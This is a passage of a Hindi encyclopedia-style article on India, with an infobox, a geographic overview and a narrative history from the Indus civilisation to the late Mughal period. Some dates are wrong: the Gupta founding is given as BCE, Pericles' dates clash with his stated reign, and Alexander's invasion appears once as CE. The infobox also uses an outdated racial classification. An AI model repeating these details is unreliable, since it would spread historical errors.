भारत गणराज्य
Republic of India
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भारत का ध्वज
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भारत का कुलचिह्न
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राष्ट्रवाक्य: "सत्यमेव जयते" (संस्कृत) सत्य ही विजयी होता है[1]
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राष्ट्रगान: जन गण मन
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राजधानी
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नई दिल्ली 28° 34′ N 77° 12′ E
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सबसे बड़े नगर
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दिल्ली, मुम्बई, कोलकाता और चेन्नई
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राजभाषा(एँ)
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हिन्दी संघ की राजभाषा है, अंग्रेज़ी "सहायक राजभाषा" है।
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अन्य भाषाएँ
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बांग्ला, गुजराती, कन्नड़, मलयालम, मराठी और अन्य
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सरकार प्रकार
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गणराज्य द्रौपदी मुर्मू वेंकैया नायडू ओम बिड़ला नरेन्द्र मोदी डी. वाई. चन्द्रचूड़
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विधायिका -उपरी सदन -निचला सदन
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भारतीय संसद राज्य सभा लोक सभा
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स्वतंत्रता तिथि गणराज्य
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संयुक्त राजशाही से 15 अगस्त, 1947 26 जनवरी, 1950
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क्षेत्रफल - कुल - जलीय (%)
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32,87,263 किमी² (सातवां) 12,22,559 मील² 9.56
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जनसंख्या - 2011 - 2001 जनगणना - जनसंख्या घनत्व
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1,21,01,93,422[2] (द्वितीय) 1,02,70,15,248 382[2]/किमी² (27 वाँ) 954[3]/ मील²
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सकल घरेलू उत्पाद (पीपीपी) - कुल - प्रतिव्यक्ति
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2012 अनुमान $4,824 अरब[4] $3,944[4]
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सकल घरेलू उत्पाद (सांकेतिक) - कुल - प्रतिव्यक्ति
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2012 अनुमान $1,779 अरब[4] $1,454[4]
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मानव विकास संकेतांक (एचडीआई)
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0.547 (134 वीं) – मध्यम
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मुद्रा
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भारतीय रुपया (आइएनआर (INR) )
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समय मण्डल - ग्रीष्म ऋतु (डेलाइट सेविंग टाइम)
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आइएसटी (IST) (UTC+5:30) अनुसरण नहीं किया जाता (UTC+5:30)
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इंटरनेट टीएलडी
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.in
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वाहन चलते हैं
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बाएं
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दूरभाष कोड
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++91
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अन्य महत्वपूर्ण जानकारी
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सीमाओं में स्थित देश
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उत्तर पश्चिम में अफ़ग़ानिस्तान और पाकिस्तान, उत्तर में भूटान और नेपाल; पूरब में म्यांमार, बांग्लादेश। श्रीलंका भारत से समुद्र के संकीर्ण नहर द्वारा अलग किया जाता है जो पाल्क स्ट्रेट और मन्नार की खाड़ी द्वारा निर्मित है।
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समुद्र तट
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7,516.6 किलोमीटर जिसमें मुख्य भूमि, लक्षद्वीप और अण्डमान और निकोबार द्वीपसमूह शामिल हैं।
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जलवायु
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सर्दी (दिसम्बर-फ़रवरी); गर्मी (मार्च-जून); दक्षिण पश्चिम मानसून का मौसम (जून-सितम्बर); मानसून पश्च मौसम (अक्तूबर-नवम्बर)
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भू-भाग
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मुख्य भूमि में चार क्षेत्र हैं- ग्रेट माउन्टेन जोन, गंगा और सिंधु का मैदान, रेगिस्तान क्षेत्र और दक्षिणी पेनिंसुला।
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प्राकृतिक संसाधन
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कोयला, लौह अयस्क, मैगनीज अयस्क, माइका, बॉक्साइट, पेट्रोलियम, टाइटानियम अयस्क, क्रोमाइट, प्राकृतिक गैस, मैगनेसाइट, चूना पत्थर, अराबल लेण्ड, डोलोमाइट, माऊलिन, जिप्सम, अपादाइट, फोसफोराइट, स्टीटाइल, फ्लोराइट आदि।
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प्राकृतिक आपदा
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मानसूनी बाढ़, फ्लेश बाढ़, भूकम्प, सूखा, ज़मीन खिसकना।
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जनसंख्या वृद्धि दर
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औसत वार्षिक घातांकी वृद्धि दर वर्ष 2001-2011 के दौरान 1.64 प्रतिशत है।
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लिंग अनुपात
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1000:940 (2011)
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धर्म
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वर्ष 2001 की जनगणना के अनुसार 1,028 मिलियन देश की कुल जनसंख्या में से 80.5 प्रतिशत के साथ हिन्दुओं की अधिकांशता है दूसरे स्थान पर 13.4 प्रतिशत की जनसंख्या वाले मुस्लिम इसके बाद ईसाई, सिख, बौद्ध, जैन और अन्य आते हैं।
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साक्षरता
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74.04% (2011) पुरुष- 82.14% महिलाएं- 65.46%
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सम्भावित जीवन दर
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65.8 वर्ष (पुरुष); 68.1 वर्ष (महिला)[5]
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जातीय अनुपात
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सभी पांच मुख्य प्रकार की जातियाँ- ऑस्ट्रेलियाड, मोंगोलॉयड, यूरोपॉयड, कोकोसिन और नीग्रोइड।
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कार्यपालिका शाखा
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भारत का राष्ट्रपति देश का प्रधान होता है, जबकि प्रधानमंत्री सरकार का प्रमुख होता है और मंत्रिपरिषद् की सहायता से शासन चलाता है जो मंत्रिमंडल मंत्रालय का गठन करते हैं।
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न्यायपालिका शाखा
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भारत का सर्वोच्च न्यायालय भारतीय कानून व्यवस्था का शीर्ष निकाय है इसके बाद अन्य उच्च न्यायालय और अधीनस्थ न्यायालय आते हैं।
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अन्य जानकारी
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भारत का राष्ट्रीय ध्वज आयताकार तिरंगा है जिसमें केसरिया ऊपर है, बीच में सफ़ेद, और बराबर भाग में नीचे गहरा हरा है। सफ़ेद पट्टी के केन्द्र में गहरा नीला चक्र है जो सारनाथ में अशोक चक्र को दर्शाता है।
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बाहरी कड़ियाँ
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भारत की आधिकारिक वेबसाइट
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अद्यतन
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13:23, 11 नवम्बर 2022 (IST)
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दुनियाँ की सबसे पुरानी सभ्यताओं में से एक है, जो 4,000 से अधिक वर्षों से चली आ रही है और जिसने अनेक रीति-रिवाज़ों और परम्पराओं का संगम देखा है। यह देश की समृद्ध संस्कृति और विरासत का परिचायक है। आज़ादी के बाद 62 वर्षों में भारत ने सामाजिक और आर्थिक प्रगति की है। भारत कृषि में आत्मनिर्भर देश है और औद्योगीकरण में भी विश्व के चुने हुए देशों में भी इसकी गिनती की जाती है। यह उन देशों में से एक है, जो चाँद पर पहुँच चुके हैं और परमाणु शक्ति संपन्न हैं। भारत का कुल क्षेत्रफल 32,87,263 वर्ग कि.मी. है, जो हिमाच्छादित हिमालय की बुलन्दियों से दक्षिण के विषुवतीय वर्षा वनों तक विस्तृत है। क्षेत्रफल में विश्व का सातवां बड़ा देश होने के कारण भारत एशिया महाद्वीप में अलग दिखायी देता है। इसकी सरहदें हिमालय पर्वत और समुद्रों ने बांधी है, जो इसे एक विशिष्ट भौगोलिक पहचान देते हैं। उत्तर में बृहत् हिमालय की पर्वत श्रृंखला से घिरा यह देश कर्क रेखा से आगे संकरा होता चला जाता है। पूर्व में बंगाल की खाड़ी, पश्चिम में अरब सागर तथा दक्षिण में हिन्द महासागर इसकी सीमाओं का निर्धारण करते हैं।
उत्तरी गोलार्ध में स्थित भारत की मुख्यभूमि 8 डिग्री 4 मिनट और 37 डिग्री 6 मिनट उत्तरी अक्षांश और 68 डिग्री 7 मिनट तथा 97 डिग्री 25 मिनट पूर्वी देशान्तर के बीच स्थित है । उत्तर से दक्षिण तक इसकी अधिकतम लंबाई 3,214 कि.मी. और पूर्व से पश्चिम तक अधिकतम चौड़ाई 2,933 कि.मी. है। इसकी ज़मीनी सीमाओं की लंबाई लगभग 15,200 कि.मी. और तटरेखा की कुल लम्बाई 7,516.6 कि.मी है। यह उत्तर में हिमालय पर्वत, पूर्व में बंगाल की खाड़ी, पश्चिम में अरब सागर तथा दक्षिण में हिंद महासागर से घिरा हुआ है।
अशोक के साम्राज्य की सीमा का मानचित्र
भारत एशिया महाद्वीप के दक्षिणी भाग में स्थित तीन प्रायद्वीपों में मध्यवर्ती और सबसे बड़ा प्रायद्वीप । यह त्रिभुजाकार है। हिमालय पर्वत श्रृंखला को इस त्रिभुज का आधार और कन्याकुमारी को उसका शीर्षबिन्दु कहा जा सकता है। इसके उत्तर में हिमालय तथा दक्षिण में हिन्द महासागर स्थित है। ऊँचे-ऊँचे पर्वतों ने इसे उत्तर-पश्चिम में अफ़ग़ानिस्तान और पाकिस्तान तथा उत्तर-पूर्व में म्यांमार से अलग कर दिया है। यह स्वतंत्र भौगोलिक इकाई है। प्राकृतिक दृष्टि से इसे तीन क्षेत्रों में विभक्त किया जा सकता है—हिमालय क्षेत्र, उत्तर का मैदान जिससे होकर सिंधु, गंगा और ब्रह्मपुत्र नदियाँ बहती हैं, दक्षिण का पठार, जिसे विंध्य पर्वतमाला उत्तर के मैदान से अलग करती है। भारत की विशाल जनसंख्या सात सौ पचास से अधिक [6] बोलियाँ बोलती है और संसार के सभी मुख्य धर्मों को मानने वाले यहाँ मिलते हैं। अंग्रेज़ी में भारत का नाम 'इंडिया' सिंधु के फ़ारसी रूपांतरण के आधार पर यूनानियों के द्वारा प्रचलित 'हंडस' नाम से पड़ा। सिन्धु का फ़ारसी में हिन्द, हन्द या हिन्दू हुआ। हिन्द का यूनानियों ने इन्दस किया जो बाद में 'इंडिया' हो गया। सिन्धु नदी को अंगेज़ी में आज भी 'इन्डस' ही कहते हैं। मूल रूप से इस देश का नाम प्रागैतिहासिक काल के राजा भरत[7] के आधार पर भारतवर्ष है किन्तु अधिकारिक नाम 'भारत' ही है। अब इसका क्षेत्रफल संकुचित हो गया है और इस प्रायद्वीप के दो छोटे-छोटे क्षेत्रों पाकिस्तान तथा बांग्लादेश को इससे पृथक करके शेष भू-भाग को भारत कहते हैं। 'हिन्दुस्थान' नाम सही तौर से केवल गंगा के उत्तरी मैदान के लिए प्रयुक्त किया जा सकता है जहाँ हिन्दी बोली जाती है। इसे भारत अथवा इंडिया का पर्याय नहीं माना जा सकता।
भारत की आधारभूत एकता उसकी विशिष्ट संस्कृति तथा सभ्यता पर आधारित है। यह इस बात से प्रकट है कि हिन्दू धर्म सारे देश में फैला हुआ है। संस्कृत को सब देवभाषा स्वीकार करते हैं। जिन सात नदियों को पवित्र माना जाता है उनमें सिंधु पंजाब में बहती है और कावेरी दक्षिण में, इसी प्रकार जिन सात पुरियों को पवित्र माना जाता है उनमें हरिद्वार उत्तर प्रदेश में स्थित है और कांची सुदूर दक्षिण में। भारत के सभी राजाओं की आकांक्षा रही है कि उनके राज्य का विस्तार आसेतु हिमालय हो। परन्तु इतने बड़े देश को जो वास्तव में एक उपमहाद्वीप है और क्षेत्रफल में पश्चिमी रूस को छोड़कर सारे यूरोप के बराबर है, एक राजनीतिक इकाई बनाये रखना अत्यन्त कठिन था। वास्तव में उन्नीसवीं शताब्दी के मध्य में ब्रिटिश शासकों की स्थापना से पूर्व सारा देश बहुत थोड़े काल को छोड़कर, कभी एक साम्राज्य के अंतर्गत नहीं रहा। ब्रिटिश काल में सारे देश में एक समान शासन व्यवस्था करके तथा अंग्रेज़ों को सारे देश में प्रशासन और शिक्षा की समान भाषा बनाकर पूरे देश को एक राजनीतिक इकाई बना दिया गया। परन्तु यह एकता एक शताब्दी के अन्दर ही भंग हो गयी। 1947 ई. में जब भारत स्वाधीन हुआ, उसे विभाजित करके सिंधु, उत्तर पश्चिमी सीमाप्रान्त, पश्चिमी पंजाब (यह भाग अब पाकिस्तान कहलाता है), पूर्वी तथा उत्तरी बंगाल (यह भाग अब बांगलादेश कहलाता है) उससे अलग कर दिया गया।
इतिहास (आदिकाल से स्वतंत्रता तक)
इन्हें भी देखें: आर्य, आर्यावर्त, सोम रस एवं वेद
भारत का इतिहास प्रागैतिहासिक काल से आरम्भ होता है। 3000 ई. पूर्व तथा 1500 ई. पूर्व के बीच सिंधु घाटी में एक उन्नत सभ्यता वर्तमान थी, जिसके अवशेष मोहन जोदड़ो (मुअन-जो-दाड़ो) और हड़प्पा में मिले हैं। विश्वास किया जाता है कि भारत में आर्यों का प्रवेश बाद में हुआ।
आर्यों ने पाया कि इस देश में उनसे पूर्व के जो लोग निवास कर रहे थे, उनकी सभ्यता यदि उनसे श्रेष्ठ नहीं तो किसी रीति से निकृष्ट भी नहीं थी। आर्यों से पूर्व के लोगों में सबसे बड़ा वर्ग द्रविड़ों का था। आर्यों द्वारा वे क्रमिक रीति से उत्तर से दक्षिण की ओर खदेड़ दिये गए। जहाँ दीर्घ काल तक उनका प्रधान्य रहा। बाद में उन्होंने आर्यों का प्रभुत्व स्वीकार कर लिया। उनसे विवाह सम्बन्ध स्थापित कर लिये और अब वे महान भारतीय राष्ट्र के अंग हैं। द्रविड़ों के अलावा देश में और मूल जातियाँ थी, जिनमें से कुछ का प्रतिनिधित्व मुण्डा, कोल, भील आदि जनजातियाँ करती हैं जो मोन-ख्मेर वर्ग की भाषाएँ बोलती हैं। भारतीय आर्यों का प्राचीनतम साहित्य हमें वेदों में विशेष रूप से ऋग्वेद में मिलता है, जिसका रचनाकाल कुछ विद्वान तीन हज़ार ई. पू. मानते हैं। वेदों में हमें उस काल की सभ्यता की एक झाँकी मिलती है। आर्यों ने इस देश को कोई राजनीतिक एकता प्रदान नहीं की। यद्यपि उन्होंने उसे एक पुष्ट दर्शन और धर्म प्रदान किया, जो हिन्दू धर्म के नाम से प्रख्यात है और कम से कम चार हज़ार वर्ष से अक्षुण्ण है।
महाजनपद युग
इन्हें भी देखें: ब्राह्मण, अंधक संघ, कृष्ण एवं ब्रज
प्राचीन भारतीयों ने कोई तिथि क्रमानुसार इतिहास नहीं सुरक्षित रखा है। सबसे प्राचीन सुनिश्चित तिथि जो हमें ज्ञात है, 326 ई. पू. है, जब मक़दूनिया के राजा सिकन्दर ने भारत पर आक्रमण किया। इस तिथि से पहले की घटनाओं का तारतम्य जोड़ कर तथा साहित्य में सुरक्षित ऐतिहासिक अनुश्रुतियों का उपयोग करके भारत का इतिहास सातवीं शताब्दी ई. पू. तक पहुँच जाता है। इस काल में भारत क़ाबुल की घाटी से लेकर गोदावरी तक षोडश जनपदों में विभाजित था।
इन राज्यों में आपस में बराबर लड़ाई होती रहती थी। छठीं शताब्दी ई. पू. के मध्य में बिम्बिसार तथा अजातशत्रु के राज्य काल में मगध ने काशी तथा कोशल पर अधिकार करने के बाद अपनी सीमाओं का विस्तार आरम्भ किया। इन्हीं दोनों मगध राजाओं के राज्यकाल में वर्धमान महावीर ने जैन धर्म तथा गौतम बुद्ध ने बौद्ध धर्म का उपदेश दिया। बाद के काल में मगध राज्य का विस्तार जारी रहा और चौथी शताब्दी ई. पू. के अंत में नन्द राजाओं के शासनकाल में उसका विस्तार बंगाल से लेकर पंजाब में व्यास नदी के तट तक सारे उत्तरी भारत में हो गया।
मौर्य और शुंग
इन्हें भी देखें: अशोक के शिलालेख, अशोक, बुद्ध, बौद्ध दर्शन, बौद्ध धर्म, फ़ाह्यान एवं पाटलिपुत्र
यूनानी इतिहासकारों के द्वारा वर्णित 'प्रेसिआई' देश का राजा इतना शक्तिशाली था कि सिकन्दर की सेनाएँ व्यास पार करके प्रेसिआई देश में नहीं घुस सकीं और सिकन्दर, जिसने 326 ई. में पंजाब पर हमला किया, पीछे लौटने के लिए विवश हो गया। वह सिंधु के मार्ग से पीछे लौट गया। इस घटना के बाद ही मगध पर चंद्रगुप्त मौर्य (लगभग 322 ई. पू.-298 ई. पू.) ने पंजाब में सिकन्दर जिन यूनानी अधिकारियों को छोड़ गया था, उन्हें निकाल बाहर किया और बाद में एक युद्ध में सिकन्दर के सेनापति सेल्युकस को हरा दिया। सेल्युकस ने हिन्दूकुश तक का सारा प्रदेश वापस लौटा कर चन्द्रगुप्त मौर्य से संधि कर ली। चन्द्रगुप्त ने सारे उत्तरी भारत पर अपना प्रभुत्व स्थापित किया। उसने सम्भ्वतः दक्षिण भी विजय कर लिया। वह अपने इस विशाल साम्राज्य पर अपनी राजधानी पाटलिपुत्र से शासन करता था। उसकी राजधानी पाटलिपुत्र वैभव और समृद्धि में सूसा और एकबताना नगरियों को भी मात करती थी। उसका पौत्र अशोक था, जिसने कलिंग (उड़ीसा) को जीता। उसका साम्राज्य हिमालय के पादमूल से लेकर दक्षिण में पन्नार नदी तक तथा उत्तर पश्चिम में हिन्दूकुश से लेकर उत्तर-पूर्व में आसाम की सीमा तक विस्तृत था। उसने अपने विशाल साम्राज्य के समय साधनों को मनुष्यों तथा पशुओं के कल्याण कार्यों तथा बौद्ध धर्म के प्रसार में लगाकर अमिट यश प्राप्त किया। उसने बौद्ध धर्म के प्रचार के लिए भिक्षुओं को मिस्र, मक़दूनिया तथा कोरिन्थ (प्राचीन यूनान की विलास नगरी) जैसे दूर-दराज स्थानों में भेजा और वहाँ लोकोपकारी कार्य करवाये। उसके प्रयत्नों से बौद्ध धर्म विश्वधर्म बन गया। परन्तु उसकी युद्ध से विरत रहने की शान्तिपूर्ण नीति ने उसके वंश की शक्ति क्षीण कर दी और लगभग आधी शताब्दी के बाद पुष्यमित्र ने उसका उच्छेद कर दिया। पुष्यमित्र ने शुंगवंश (लगभग 185 ई. पू.- 73 ई. पू.) की स्थापना की, जिसका उच्छेद कराव वंश (लगभग 73 ई. पू.-28 ई. पू.) ने कर दिया।
शक, कुषाण और सातवाहन
इन्हें भी देखें: राबाटक लेख, कुषाण, कनिष्क, कम्बोजिका एवं कल्हण
मौर्यवंश के पतन के बाद मगध की शक्ति घटने लगी और सातवाहन राजाओं के नेतृत्व में मगध साम्राज्य दक्षिण से अलग हो गया। सातवाहन वंश को आन्ध्र वंश भी कहते हैं और उसने 50 ई. पू. से 225 ई. तक राज्य किया। भारत में एक शक्तिशाली केन्द्रीय सरकार के अभाव में बैक्ट्रिया और पार्थिया के राजाओं ने उत्तरी भारत पर आक्रमण शुरू कर दिये। इन आक्रमणकारी राजाओं में मिनाण्डर सबसे विख्यात है। इसके बाद ही शक राजाओं के आक्रमण शुरू हो गये और महाराष्ट्र, सौराष्ट्र तथा मथुरा शक क्षत्रपों के शासन में आ गये। इस तरह भारत की जो राजनीतिक एकता भंग हो गयी थी, वह ईस्वीं पहली शताब्दी में कुजुल कडफ़ाइसिस द्वारा कुषाण वंश की शुरुआत से फिर स्थापित हो गयी। इस वंश ने तीसरी शताब्दी ईस्वीं के मध्य तक उत्तरी भारत पर राज्य किया।
इस वंश का सबसे प्रसिद्ध राजा कनिष्क (लगभग 120-144 ई.) था, जिसकी राजधानी पुरुषपुर अथवा पेशावर थी। उसने बौद्ध धर्म ग्रहण कर लिया और अश्वघोष, नागार्जुन तथा चरक जैसे भारतीय विद्वानों को संरक्षण दिया। कुषाणवंश का अज्ञात कारणों से तीसरी शताब्दी के मध्य तक पतन हो गया। इसके बाद भारतीय इतिहास का अंधकार युग आरम्भ होता है। जो चौथी शताब्दी के आरम्भ में गुप्तवंश के उदय से समाप्त हुआ।
गुप्त
इन्हें भी देखें: ह्वेन त्सांग
लगभग 320 ई. पू. में चन्द्रगुप्त ने गुप्तवंश को प्रचलित किया और पाटलिपुत्र को फिर से अपनी राजधानी बनाया। गुप्त वंश में एक के बाद एक चार महान शक्तिशाली राजा हुए, जिन्होंने सारे उत्तरी भारत में अपना साम्राज्य विस्तृत कर लिया और दक्षिण के कई राज्यों पर भी अपना प्रभुत्व स्थापित किया। उन्होंने हिन्दू धर्म को राज्य धर्म बनाया, बौद्ध धर्म और जैन धर्म के प्रति सहिष्णुता बरती और ज्ञान-विज्ञान, साहित्य, कला, वास्तुकला और चित्रकला की उन्नति की। इसी युग में कालिदास, आर्यभट तथा वराहमिहिर हुए। रामायण, महाभारत, पुराणों तथा मनुसंहिता को भी इसी युग में वर्तमान रूप प्राप्त हुआ। चीनी यात्री फ़ाह्यान ने 401 से 410 ई. के बीच भारत की यात्रा की और उसने उस काल का रोचक वर्णन किया है। उसका मत है कि उस काल में देश में पूरा रामराज्य था। स्वाभाविक रूप से गुप्त युग को भारतीय इतिहास का 'स्वर्णयुग' माना जाता है और उसकी तुलना एथेन्स के परीक्लीज युग से की जाती है। (पेरीक्लीज (लगभग 492-529 ई. पू.) एथेन्स का महान राजनेता तथा सेनापति था। उसके शासनकाल (460-429 ई. पू.) में एथेन्स उन्नति के शिखर पर पहुँच गया)। आंतरिक विघटन तथा हूणों के आक्रमणों के फलस्वरूप छठी शताब्दी में गुप्त वंश का पतन हो गया। परन्तु सातवीं शताब्दी के प्रारम्भ में हर्षवर्धन ने एक दूसरा साम्राज्य खड़ा कर दिया, जिसकी राजधानी कन्नौज थी। यह साम्राज्य सारे उत्तरी भारत में विस्तृत था। दक्षिण में चालुक्य राजा पुलकेशी द्वितीय ने उसका साम्राज्य नर्मदा तट से आगे बढ़ने से रोक दिया था। चीनी यात्री हुएनसांग उसके राज्यकाल में भारत आया था और उसने अपनी यात्रा वर्णन में लिखा है कि हर्षवर्धन बड़ा प्रतापी और शक्तिशाली राजा है। वह 646 ई. में निस्संतान मर गया और उसके बाद सारे उत्तरी भारत में फिर से अव्यवस्था फैल गयी।
कीर्ति स्तम्भ, चित्तौड़गढ़
राजपूत आदि राजवंश
इस अव्यवस्था के फलस्वरूप राजवंशों का उदय हुआ, जो अपने को राजपूत कहते थे। इनमें पंजाब का हिन्दूशाही राजवंश, गुजरात का गुर्जर-प्रतिहार राजवंश, अजमेर का चौहान वंश, कन्नौज का गहड़वाल वंश तथा मगध और बंगाल का पाल वंश था। दक्षिण में भी सातवाहन वंश के पतन के बाद इसी प्रकार सत्ता का विघटन हो गया। उड़ीसा के गंग वंश जिसने पुरी का प्रसिद्ध जगन्नाथ मन्दिर बनवाया, वातापी के चालुक्य वंश, जिसके राज्यकाल में अजन्ता के कुछ गुफ़ा चित्र बने तथा कांची के पल्लव वंश ने, जिसकी स्मृति उस काल में बनवाये गये कुछ प्रसिद्ध मन्दिरों में सुरक्षित है, दक्षिण को आपस में बांट लिया और परस्पर युद्धों में एक दूसरे का नाश कर दिया। इसके बाद मान्यखेट अथवा मालखड़ के राष्ट्रकूट वंश का उदय हुआ, जिसका उच्छेद पुर के चालुक्य वंश की एक नवीन शाखा ने कर दिया। जिसने कल्याणी को अपनी राजधानी बनाया। उसका उच्छेद देवगिरि के यादवों तथा द्वारसमुद्र के होयसल वंश ने कर दिया। सुदूर दक्षिण में चेर, पांड्य और चोल राज्यों का उदय हुआ, जिनमें से अंतिम राज्य सबसे अधिक चला। इस तरह सारे भारत में अनैक्य व्याप्त हो गया।
प्राचीन राज्य सीमा मानचित्र
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आर्यों के आदि स्थल सूची
आर्यों के आदि स्थल
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हड़प्पाकालीन नदियों के किनारे बसे नगर
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विभिन्न विद्वानों द्वारा सिंधु सभ्यता का काल निर्धारण
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आदि (मूल) स्थान
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मत
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नगर
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नदी / सागर तट
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काल
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विद्वान
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सप्तसैंधव क्षेत्र
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डॉ. अविनाश चंद्र, डॉ. संपूर्णानन्द
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ब्रह्मर्षि देश
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पं. गंगानाथ झा
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मध्य प्रदेश
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डॉ. राजबली पाण्डेय
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कश्मीर
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एल. डी. कल्ल
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देविका प्रदेश (मुल्तान)
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डी. एस. त्रिवेदी
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उत्तरी ध्रुव प्रदेश
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बाल गंगाधर तिलक
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हंगरी (यूरोप) (डेन्यूब नदी की घाटी)
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पी. गाइल्स
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दक्षिणी रूस
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नेहरिंग गार्डन चाइल्ड्स
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जर्मनी
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पेन्का
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यूरोप
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फिलिप्पो सेस्सेटी, सर विलियम जोन्स
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पामीर एवं बैक्ट्रिया
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एडवर्ड मेयर एवं ओल्डेन वर्ग जे. जी. रोड
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मध्य एशिया
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मैक्समूलर
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तिब्बत
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दयानन्द सरस्वती
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हिमालय (मानस)
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के. के. शर्मा
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3500 - 2700 ई.पू.
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माधोस्वरूप वत्स
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3250 - 2750 ई.पू.
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जॉन मार्शल
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2900 ई.पू. - 1900 ई.पू.
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डेल्स
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2800 - 2500 ई.पू.
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अर्नेस्ट मैके
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2500 - 1500 ई.पू.
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मार्टिमर ह्वीलर
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2350 - 1700 ई.पू.
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सी. जे. गैड
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2300 ई.पू. - 1750 ई.पू.
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डी. पी. अग्रवाल
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2000 - 1500 ई.पू.
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फेयर सर्विस
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महाजनपद सूची
इस्लाम का प्रवेश
इन्हें भी देखें: चंगेज़ ख़ाँ एवं महमूद ग़ज़नवी
इस बीच 712 ई. में भारत में इस्लाम का प्रवेश हो चुका था। मुहम्मद-इब्न-क़ासिम के नेतृत्व में मुसलमान अरबों ने सिंध पर हमला कर दिया और वहाँ के ब्राह्मण राजा दाहिर को हरा दिया। इस तरह भारत की भूमि पर पहली बार इस्लाम के पैर जम गये और बाद की शताब्दियों के हिन्दू राजा उसे फिर हटा नहीं सके। परन्तु सिंध पर अरबों का शासन वास्तव में निर्बल था और 1176 ई. में शहाबुद्दीन मुहम्मद ग़ोरी ने उसे आसानी से उखाड़ दिया। इससे पूर्व सुबुक्तगीन के नेतृत्व में मुसलमानों ने हमले करके पंजाब छीन लिया था और ग़ज़नी के सुल्तान महमूद ने 997 से 1030 ई. के बीच भारत पर सत्रह हमले किये और हिन्दू राजाओं की शक्ति कुचल डाली, फिर भी हिन्दू राजाओं ने मुसलमानी आक्रमण का जिस अनवरत रीति से प्रबल विरोध किया, उसका महत्त्व कम करके नहीं आंकना चाहिए।
पृथ्वीराज चौहान और ग़ोरी
इन्हें भी देखें: महमूद ग़ोरी
फ़ारस तथा पश्चिम एशिया के दूसरे राज्यों की तरह मुसलमानों को भारत में शीघ्रता से सफलता नहीं मिली। यद्यपि सिंध पर अरब मुसलमानों का शीघ्रता से क़ब्ज़ा हो गया, परन्तु वहाँ से वे लगभग चार शताब्दियों तक आगे नहीं बढ़ पाये। उत्तर-पश्चिम के मुसलमान आक्रमणकारियों को भी भारत ने लगभग तीन शताब्दियों तक रोके रखा। शहाबुद्दीन मुहम्मद ग़ोरी का दिल्ली जीतने का पहला प्रयास विफल हुआ और पृथ्वीराज ने 1190 ई. में तराईन की पहली लड़ाई में उसे हरा दिया। वह 1193 ई. में तराईन की दूसरी लड़ाई में ही पृथ्वीराज को हराने में सफल हुआ। इस विजय के बाद शहाबुद्दीन और उसके सेनापतियों ने उत्तरी भारत के दूसरे हिन्दू राजाओं को भी हरा दिया और वहाँ मुसलमानी शासन स्थापित कर दिया। इस तरह तेरहवीं शताब्दी के प्रारम्भ में दिल्ली के सुल्तानों की अधीनता में उत्तरी भारत की राजनीतिक एकता फिर से स्थापित हो गई।
तैमूर
इन्हें भी देखें: तैमूर लंग, विजय नगर साम्राज्य, बहमनी वंश, चंगेज़ ख़ाँ एवं अलाउद्दीन ख़िलजी
दक्षिण एक और शताब्दी तक स्वतंत्र रहा, किन्तु सुल्तान ख़िलजी के राज्यकाल में दक्षिण भी दिल्ली सल्तनत के अधीन हो गया और इस तरह चौदहवीं शताब्दी में कुछ काल के लिए सारे भारत का शासन फिर से एक केन्द्रीय सत्ता के अंतर्गत आ गया। परन्तु दिल्ली सल्तनत का शीघ्र ही पतन शुरू हो गया और 1336 ई. में दक्षिण में हिन्दुओं का एक विशाल राज्य स्थापित हुआ, जिसकी राजधानी विजय नगर साम्राज्य थी। बंगाल (1338 ई.), जौनपुर (1393 ई.), गुजरात तथा दक्षिण के मध्यवर्ती भाग में भी बहमनी सल्तनत (1347 ई.) के नाम से स्वतंत्र मुसलमानी राज्य स्थापित हो गया। 1398 ई. में तैमूर ने भारत पर हमला किया और दिल्ली पर क़ब्ज़ा कर लिया और उसे लूटा। उसके हमले से दिल्ली की सल्तनत जर्जर हो गयी।
मुग़ल
इन्हें भी देखें: बाबर, हुमायूँ, अकबर, जहाँगीर, शाहजहाँ, औरंगज़ेब, शेरशाह सूरी साम्राज्य एवं शेरशाह सूरी
दिल्ली की सल्तनत वास्तव में कमज़ोर थी, क्योंकि सुल्तानों ने अपनी विजित हिन्दू प्रजा का हृदय जीतने का कोई प्रयास नहीं किया। वे धार्मिक दृष्टि से अत्यन्त कट्टर थे और उन्होंने बलपूर्वक हिन्दुओं को मुसलमान बनाने का प्रयास किया। इससे हिन्दू प्रजा उनसे कोई सहानुभूति नहीं रखती थी। इसक फलस्वरूप 1526 ई. में बाबर ने आसानी से दिल्ली की सल्तनत को उखाड़ फैंका। उसने पानीपत की पहली लड़ाई में अन्तिम सुल्तान इब्राहीम लोदी को हरा दिया और मुग़ल वंश की प्रतिष्ठित किया, जिसने 1526 से 1858 ई. तक भारत पर शासन किया। तीसरा मुग़ल बादशाह अकबर असाधारण रूप से योग्य और दूरदर्शी शासक था। उसने अपनी विजित हिन्दू प्रजा का हृदय जीतने की कोशिश की और विशेष रूप से युद्ध प्रिय राजपूत राजाओं को अपने पक्ष में करने का प्रयास किया। अकबर ने धार्मिक सहिष्णुता तथा मेल-मिलाप की नीति बरती, हिन्दुओं पर से जज़िया उठा लिया और राज्य के ऊँचे पदों पर बिना भेदभाव के सिर्फ़ योग्यता के आधार पर नियुक्तियाँ कीं।
मराठा
इन्हें भी देखें: मराठा साम्राज्य, शिवाजी, तानाजी, अहिल्याबाई होल्कर एवं जाटों का इतिहास
राजपूतों और मुग़लों के योग से उसने अपना साम्राज्य कन्दहार से आसाम की सीमा तक तथा हिमालय की तलहटी से लेकर दक्षिण में अहमदनगर तक विस्तृत कर दिया। उसके पुत्र जहाँगीर जहाँ पौत्र शाहजहाँ कि राज्यकाल में मुग़ल साम्राज्य का विस्तार जारी रहा। शाहजहाँ ने ताजमहल का निर्माण कराया, परन्तु कन्दहार उसके हाथ से निकल गया। अकबर के प्रपौत्र औरंगज़ेब के राज्यकाल में मुग़ल साम्राज्य का विस्तार अपने चरम शिखर पर पहुँच गया और कुछ काल के लिए सारा भारत उसके अंतर्गत हो गया। परन्तु औरंगज़ेब ने जान-बूझकर अकबर की धार्मिक सहिष्णुता की नीति त्याग दी और हिन्दुओं को अपने विरुद्ध कर लिया। उसने हिन्दुस्तान का शासन सिर्फ़ मुसलमानों के हित में चलाने की कोशिश की और हिन्दुओं को ज़बर्दस्ती मुसलमान बनाने का असफल प्रयास किया। इससे राजपूताना, बुंदेलखण्ड तथा पंजाब के हिन्दू उसके विरुद्ध उठ खड़े हुए। महाराष्ट्र में शिवाजी ने 1707 ई. में औरंगज़ेब की मृत्यु से पूर्व ही एक स्वतंत्र हिन्दू राज्य स्थापित कर दिया। औरंगज़ेब अन्तिम शक्तिशाली मुग़ल बादशाह था। उसके उत्तराधिकारी अत्यन्त निर्बल और अयोग्य थे, उनके वज़ीर विश्वासघाती थे। फ़ारस 